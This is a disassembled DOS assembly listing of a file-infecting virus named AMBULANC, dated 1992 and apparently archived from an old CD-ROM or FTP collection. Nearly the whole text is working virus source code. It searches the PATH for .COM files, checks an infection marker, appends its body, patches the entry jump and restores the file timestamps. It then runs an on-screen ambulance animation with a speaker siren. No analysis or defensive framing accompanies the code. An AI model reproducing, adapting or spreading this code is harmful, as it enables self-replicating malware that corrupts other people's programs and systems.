home *** CD-ROM | disk | FTP | other *** search
-
-
- PAGE 59,132
-
-
-
- ;██████████████████████████████████████████████████████████████████████████
-
- ;██ ██
-
- ;██ AMBULANC ██
-
- ;██ ██
-
- ;██ Created: 13-Feb-92 ██
-
- ;██ Passes: 5 Analysis Options on: none ██
-
- ;██ ██
-
- ;██████████████████████████████████████████████████████████████████████████
-
-
-
- data_1e equ 0Ch
-
- data_2e equ 49h
-
- data_3e equ 6Ch
-
- psp_envirn_seg equ 2Ch
-
- data_20e equ 0C80h
-
-
-
- seg_a segment byte public
-
- assume cs:seg_a, ds:seg_a
-
-
-
-
-
- org 100h
-
-
-
- ambulanc proc far
-
-
-
- start:
-
- jmp loc_1
-
- db 0
-
- data_7 dw 0 ; Data table (indexed access)
-
- db 44 dup (0)
-
- loc_1:
-
- ;* call sub_1 ;*
-
- db 0E8h, 01h, 00h
-
- add [bp-7Fh],bx
-
- out dx,al ; port 0, DMA-1 bas&add ch 0
-
- add ax,[bx+di]
-
- call sub_2
-
- call sub_2
-
- call sub_4
-
- lea bx,[si+419h] ; Load effective addr
-
- mov di,100h
-
- mov al,[bx]
-
- mov [di],al
-
- mov ax,[bx+1]
-
- mov [di+1],ax
-
- jmp di ;*Register jump
-
-
-
- loc_ret_2:
-
- retn
-
-
-
- ambulanc endp
-
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
-
- ; SUBROUTINE
-
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
-
-
- sub_2 proc near
-
- call sub_3
-
- mov al,byte ptr data_19[si]
-
- or al,al ; Zero ?
-
- jz loc_ret_2 ; Jump if zero
-
- lea bx,[si+40Fh] ; Load effective addr
-
- inc word ptr [bx]
-
- lea dx,[si+428h] ; Load effective addr
-
- mov ax,3D02h
-
- int 21h ; DOS Services ah=function 3Dh
-
- ; open file, al=mode,name@ds:dx
-
- mov data_12[si],ax
-
- mov bx,data_12[si]
-
- mov cx,3
-
- lea dx,[si+414h] ; Load effective addr
-
- mov ah,3Fh ; '?'
-
- int 21h ; DOS Services ah=function 3Fh
-
- ; read file, bx=file handle
-
- ; cx=bytes to ds:dx buffer
-
- mov al,data_10[si]
-
- cmp al,0E9h
-
- jne loc_3 ; Jump if not equal
-
- mov dx,data_11[si]
-
- mov bx,data_12[si]
-
- add dx,3
-
- xor cx,cx ; Zero register
-
- mov ax,4200h
-
- int 21h ; DOS Services ah=function 42h
-
- ; move file ptr, bx=file handle
-
- ; al=method, cx,dx=offset
-
- mov bx,data_12[si]
-
- mov cx,6
-
- lea dx,[si+41Ch] ; Load effective addr
-
- mov ah,3Fh ; '?'
-
- int 21h ; DOS Services ah=function 3Fh
-
- ; read file, bx=file handle
-
- ; cx=bytes to ds:dx buffer
-
- mov ax,data_13[si]
-
- mov bx,data_14[si]
-
- mov cx,data_15[si]
-
- cmp ax,word ptr ds:[100h][si]
-
- jne loc_3 ; Jump if not equal
-
- cmp bx,word ptr ds:[102h][si]
-
- jne loc_3 ; Jump if not equal
-
- cmp cx,data_7[si]
-
- je loc_4 ; Jump if equal
-
- loc_3:
-
- mov bx,data_12[si]
-
- xor cx,cx ; Zero register
-
- xor dx,dx ; Zero register
-
- mov ax,4202h
-
- int 21h ; DOS Services ah=function 42h
-
- ; move file ptr, bx=file handle
-
- ; al=method, cx,dx=offset
-
- sub ax,3
-
- mov data_9[si],ax
-
- mov bx,data_12[si]
-
- mov ax,5700h
-
- int 21h ; DOS Services ah=function 57h
-
- ; get file date+time, bx=handle
-
- ; returns cx=time, dx=time
-
- push cx
-
- push dx
-
- mov bx,data_12[si]
-
- mov cx,319h
-
- lea dx,[si+100h] ; Load effective addr
-
- mov ah,40h ; '@'
-
- int 21h ; DOS Services ah=function 40h
-
- ; write file bx=file handle
-
- ; cx=bytes from ds:dx buffer
-
- mov bx,data_12[si]
-
- mov cx,3
-
- lea dx,[si+414h] ; Load effective addr
-
- mov ah,40h ; '@'
-
- int 21h ; DOS Services ah=function 40h
-
- ; write file bx=file handle
-
- ; cx=bytes from ds:dx buffer
-
- mov bx,data_12[si]
-
- xor cx,cx ; Zero register
-
- xor dx,dx ; Zero register
-
- mov ax,4200h
-
- int 21h ; DOS Services ah=function 42h
-
- ; move file ptr, bx=file handle
-
- ; al=method, cx,dx=offset
-
- mov bx,data_12[si]
-
- mov cx,3
-
- lea dx,[si+411h] ; Load effective addr
-
- mov ah,40h ; '@'
-
- int 21h ; DOS Services ah=function 40h
-
- ; write file bx=file handle
-
- ; cx=bytes from ds:dx buffer
-
- pop dx
-
- pop cx
-
- mov bx,data_12[si]
-
- mov ax,5701h
-
- int 21h ; DOS Services ah=function 57h
-
- ; set file date+time, bx=handle
-
- ; cx=time, dx=time
-
- loc_4:
-
- mov bx,data_12[si]
-
- mov ah,3Eh ; '>'
-
- int 21h ; DOS Services ah=function 3Eh
-
- ; close file, bx=file handle
-
- retn
-
- sub_2 endp
-
-
-
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
-
- ; SUBROUTINE
-
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
-
-
- sub_3 proc near
-
- mov ax,ds:psp_envirn_seg
-
- mov es,ax
-
- push ds
-
- mov ax,40h
-
- mov ds,ax
-
- mov bp,ds:data_3e
-
- pop ds
-
- test bp,3
-
- jz loc_7 ; Jump if zero
-
- xor bx,bx ; Zero register
-
- loc_5:
-
- mov ax,es:[bx]
-
- cmp ax,4150h
-
- jne loc_6 ; Jump if not equal
-
- cmp word ptr es:[bx+2],4854h
-
- je loc_8 ; Jump if equal
-
- loc_6:
-
- inc bx
-
- or ax,ax ; Zero ?
-
- jnz loc_5 ; Jump if not zero
-
- loc_7:
-
- lea di,[si+428h] ; Load effective addr
-
- jmp short loc_13
-
- loc_8:
-
- add bx,5
-
- loc_9:
-
- lea di,[si+428h] ; Load effective addr
-
- loc_10:
-
- mov al,es:[bx]
-
- inc bx
-
- or al,al ; Zero ?
-
- jz loc_12 ; Jump if zero
-
- cmp al,3Bh ; ';'
-
- je loc_11 ; Jump if equal
-
- mov [di],al
-
- inc di
-
- jmp short loc_10
-
- loc_11:
-
- cmp byte ptr es:[bx],0
-
- je loc_12 ; Jump if equal
-
- shr bp,1 ; Shift w/zeros fill
-
- shr bp,1 ; Shift w/zeros fill
-
- test bp,3
-
- jnz loc_9 ; Jump if not zero
-
- loc_12:
-
- cmp byte ptr [di-1],5Ch ; '\'
-
- je loc_13 ; Jump if equal
-
- mov byte ptr [di],5Ch ; '\'
-
- inc di
-
- loc_13:
-
- push ds
-
- pop es
-
- mov data_16[si],di
-
- mov ax,2E2Ah
-
- stosw ; Store ax to es:[di]
-
- mov ax,4F43h
-
- stosw ; Store ax to es:[di]
-
- mov ax,4Dh
-
- stosw ; Store ax to es:[di]
-
- push es
-
- mov ah,2Fh ; '/'
-
- int 21h ; DOS Services ah=function 2Fh
-
- ; get DTA ptr into es:bx
-
- mov ax,es
-
- mov data_17[si],ax
-
- mov data_18[si],bx
-
- pop es
-
- lea dx,[si+478h] ; Load effective addr
-
- mov ah,1Ah
-
- int 21h ; DOS Services ah=function 1Ah
-
- ; set DTA(disk xfer area) ds:dx
-
- lea dx,[si+428h] ; Load effective addr
-
- xor cx,cx ; Zero register
-
- mov ah,4Eh ; 'N'
-
- int 21h ; DOS Services ah=function 4Eh
-
- ; find 1st filenam match @ds:dx
-
- jnc loc_14 ; Jump if carry=0
-
- xor ax,ax ; Zero register
-
- mov data_19[si],ax
-
- jmp short loc_17
-
- loc_14:
-
- push ds
-
- mov ax,40h
-
- mov ds,ax
-
- ror bp,1 ; Rotate
-
- xor bp,ds:data_3e
-
- pop ds
-
- test bp,7
-
- jz loc_15 ; Jump if zero
-
- mov ah,4Fh ; 'O'
-
- int 21h ; DOS Services ah=function 4Fh
-
- ; find next filename match
-
- jnc loc_14 ; Jump if carry=0
-
- loc_15:
-
- mov di,data_16[si]
-
- lea bx,[si+496h] ; Load effective addr
-
- loc_16:
-
- mov al,[bx]
-
- inc bx
-
- stosb ; Store al to es:[di]
-
- or al,al ; Zero ?
-
- jnz loc_16 ; Jump if not zero
-
- loc_17:
-
- mov bx,data_18[si]
-
- mov ax,data_17[si]
-
- push ds
-
- mov ds,ax
-
- mov ah,1Ah
-
- int 21h ; DOS Services ah=function 1Ah
-
- ; set DTA(disk xfer area) ds:dx
-
- pop ds
-
- retn
-
- sub_3 endp
-
-
-
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
-
- ; SUBROUTINE
-
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
-
-
- sub_4 proc near
-
- push es
-
- mov ax,data_8[si]
-
- and ax,7
-
- cmp ax,6
-
- jne loc_18 ; Jump if not equal
-
- mov ax,40h
-
- mov es,ax
-
- mov ax,es:data_1e
-
- or ax,ax ; Zero ?
-
- jnz loc_18 ; Jump if not zero
-
- inc word ptr es:data_1e
-
- call sub_5
-
- loc_18:
-
- pop es
-
- retn
-
- sub_4 endp
-
-
-
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
-
- ; SUBROUTINE
-
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
-
-
- sub_5 proc near
-
- push ds
-
- mov di,0B800h
-
- mov ax,40h
-
- mov ds,ax
-
- mov al,ds:data_2e
-
- cmp al,7
-
- jne loc_19 ; Jump if not equal
-
- mov di,0B000h
-
- loc_19:
-
- mov es,di
-
- pop ds
-
- mov bp,0FFF0h
-
- loc_20:
-
- mov dx,0
-
- mov cx,10h
-
-
-
- locloop_21:
-
- call sub_8
-
- inc dx
-
- loop locloop_21 ; Loop if cx > 0
-
-
-
- call sub_7
-
- call sub_9
-
- inc bp
-
- cmp bp,50h
-
- jne loc_20 ; Jump if not equal
-
- call sub_6
-
- push ds
-
- pop es
-
- retn
-
- sub_5 endp
-
-
-
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
-
- ; SUBROUTINE
-
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
-
-
- sub_6 proc near
-
- in al,61h ; port 61h, 8255 port B, read
-
- and al,0FCh
-
- out 61h,al ; port 61h, 8255 B - spkr, etc
-
- ; al = 0, disable parity
-
- retn
-
- sub_6 endp
-
-
-
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
-
- ; SUBROUTINE
-
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
-
-
- sub_7 proc near
-
- mov dx,7D0h
-
- test bp,4
-
- jz loc_22 ; Jump if zero
-
- mov dx,0BB8h
-
- loc_22:
-
- in al,61h ; port 61h, 8255 port B, read
-
- test al,3
-
- jnz loc_23 ; Jump if not zero
-
- or al,3
-
- out 61h,al ; port 61h, 8255 B - spkr, etc
-
- mov al,0B6h
-
- out 43h,al ; port 43h, 8253 wrt timr mode
-
- loc_23:
-
- mov ax,dx
-
- out 42h,al ; port 42h, 8253 timer 2 spkr
-
- mov al,ah
-
- out 42h,al ; port 42h, 8253 timer 2 spkr
-
- retn
-
- sub_7 endp
-
-
-
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
-
- ; SUBROUTINE
-
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
-
-
- sub_8 proc near
-
- push cx
-
- push dx
-
- lea bx,[si+3BFh] ; Load effective addr
-
- add bx,dx
-
- add dx,bp
-
- or dx,dx ; Zero ?
-
- js loc_26 ; Jump if sign=1
-
- cmp dx,50h
-
- jae loc_26 ; Jump if above or =
-
- mov di,data_20e
-
- add di,dx
-
- add di,dx
-
- sub dx,bp
-
- mov cx,5
-
-
-
- locloop_24:
-
- mov ah,7
-
- mov al,[bx]
-
- sub al,7
-
- add al,cl
-
- sub al,dl
-
- cmp cx,5
-
- jne loc_25 ; Jump if not equal
-
- mov ah,0Fh
-
- test bp,3
-
- jz loc_25 ; Jump if zero
-
- mov al,20h ; ' '
-
- loc_25:
-
- stosw ; Store ax to es:[di]
-
- add bx,10h
-
- add di,9Eh
-
- loop locloop_24 ; Loop if cx > 0
-
-
-
- loc_26:
-
- pop dx
-
- pop cx
-
- retn
-
- sub_8 endp
-
-
-
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
-
- ; SUBROUTINE
-
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
-
-
- sub_9 proc near
-
- push ds
-
- mov ax,40h
-
- mov ds,ax
-
- mov ax,ds:data_3e
-
- loc_28:
-
- cmp ax,ds:data_3e
-
- je loc_28 ; Jump if equal
-
- pop ds
-
- retn
-
- sub_9 endp
-
-
-
- and ah,[bp+di]
-
- and al,25h ; '%'
-
- db 26h, 27h, 28h, 29h, 66h, 87h
-
- db 3Bh, 2Dh, 2Eh, 2Fh, 30h, 31h
-
- db 23h,0E0h,0E1h,0E2h,0E3h,0E4h
-
- db 0E5h,0E6h,0E7h,0E7h,0E9h,0EAh
-
- db 0EBh
-
- db 30h
-
- data_8 dw 3231h ; Data table (indexed access)
-
- db 24h
-
- data_9 dw 0E1E0h ; Data table (indexed access)
-
- data_10 db 0E2h ; Data table (indexed access)
-
- data_11 dw 0E8E3h ; Data table (indexed access)
-
- data_12 dw 0EA2Ah ; Data table (indexed access)
-
- db 0E7h,0E8h,0E9h
-
- data_13 dw 302Fh ; Data table (indexed access)
-
- data_14 dw 326Dh ; Data table (indexed access)
-
- data_15 dw 2533h ; Data table (indexed access)
-
- data_16 dw 0E2E1h ; Data table (indexed access)
-
- data_17 dw 0E4E3h ; Data table (indexed access)
-
- data_18 dw 0E7E5h ; Data table (indexed access)
-
- data_19 dw 0E8E7h ; Data table (indexed access)
-
- db 0E9h,0EAh,0EBh,0ECh,0EDh,0EEh
-
- db 0EFh, 26h,0E6h,0E7h, 29h, 59h
-
- db 5Ah, 2Ch,0ECh,0EDh,0EEh,0EFh
-
- db 0F0h, 32h, 62h, 34h,0F4h, 0Ah
-
- db 00h,0E9h, 2Fh, 00h,0CDh, 20h
-
- db 00h, 05h, 00h,0CDh, 20h, 00h
-
-
-
- seg_a ends
-
-
-
-
-
-
-
- end start
-
-